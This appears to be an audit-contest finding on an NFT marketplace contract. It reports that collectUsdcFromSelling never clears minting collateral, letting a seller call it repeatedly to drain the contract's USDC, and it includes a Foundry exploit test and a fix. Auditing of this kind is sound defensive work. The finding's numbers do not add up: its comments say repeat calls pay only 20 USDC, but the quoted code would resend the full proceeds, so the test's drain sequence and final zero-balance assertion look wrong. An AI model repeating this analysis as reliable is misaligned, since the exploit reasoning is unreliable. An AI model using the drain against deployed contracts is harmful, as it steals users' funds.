NFT Dealers
First Flight #58
Beginner FriendlyFoundry
100 EXP
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: high

Collateral never cleared in collectUsdcFromSelling, allowing seller to drain all contract USDC

Author Revealed upon completion

Description

When a whitelisted user mints an NFT, the protocol locks a USDC collateral amount recorded in collateralForMinting[tokenId]. After the NFT is sold, the original seller calls collectUsdcFromSelling() to receive their sale proceeds plus the returned collateral.

The function reads collateralForMinting[listing.tokenId] and adds it to amountToSeller, but never sets it to zero. Any seller who has completed a sale can call the function repeatedly on the same listingId, receiving the collateral amount on every call until the contract is empty. Additionally, usdc.safeTransfer(address(this), fees) performs a self-transfer — the contract sends USDC to itself — which is a no-op, while totalFeesCollected += fees is still incremented on every repeated call, inflating the accounting beyond the actual contract balance.

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
​
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
// @> collateralToReturn is read but collateralForMinting is NEVER set to 0
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
​
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
// @> Self-transfer: no-op. Fees stay in contract but counter inflates each call.
usdc.safeTransfer(address(this), fees);
// @> Pays collateralToReturn again on every subsequent call indefinitely
usdc.safeTransfer(msg.sender, amountToSeller);
// @> MISSING: collateralForMinting[listing.tokenId] = 0;
}

Risk

Likelihood:

  • A seller calls collectUsdcFromSelling() a second time immediately after the first successful collection — there is no state change, flag, or guard preventing repeated execution since the only check (!listing.isActive) is already satisfied after the first call.

  • Any seller who has completed at least one sale has permanent, unrestricted access to call this function in a loop for as long as the contract holds a USDC balance.

Impact:

  • A single malicious seller drains the entire USDC balance of the contract, stealing collateral and proceeds belonging to every other minter and seller.

  • totalFeesCollected becomes inflated beyond the actual contract balance, causing withdrawFees() to revert or attempt to transfer more than available once a drain has occurred.

Proof of Concept

function test_drainViaRepeatedCollect() public revealed {
vm.prank(owner);
nftDealers.whitelistWallet(alice);
vm.prank(owner);
nftDealers.whitelistWallet(bob);
​
usdc.mint(alice, 20e6);
vm.startPrank(alice);
usdc.approve(address(nftDealers), 20e6);
nftDealers.mintNft(); // tokenId = 1, collateralForMinting[1] = 20 USDC
nftDealers.list(1, 1000e6);
vm.stopPrank();
​
usdc.mint(bob, 1000e6);
vm.startPrank(bob);
usdc.approve(address(nftDealers), 1000e6);
nftDealers.buy(1); // contract holds 20 + 1000 = 1020 USDC
vm.stopPrank();
​
// Alice collects legitimately once, then drains repeatedly
vm.startPrank(alice);
nftDealers.collectUsdcFromSelling(1); // legitimate: receives ~1010 USDC
nftDealers.collectUsdcFromSelling(1); // drain: receives another 20 USDC
nftDealers.collectUsdcFromSelling(1); // drain: receives another 20 USDC
vm.stopPrank();
​
// Alice has drained more than her legitimate entitlement
// Contract balance is now 0 — other users' collateral is gone
assertEq(usdc.balanceOf(address(nftDealers)), 0);
}

Recommended Mitigation

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
​
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
​
+ collateralForMinting[listing.tokenId] = 0;
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
- usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!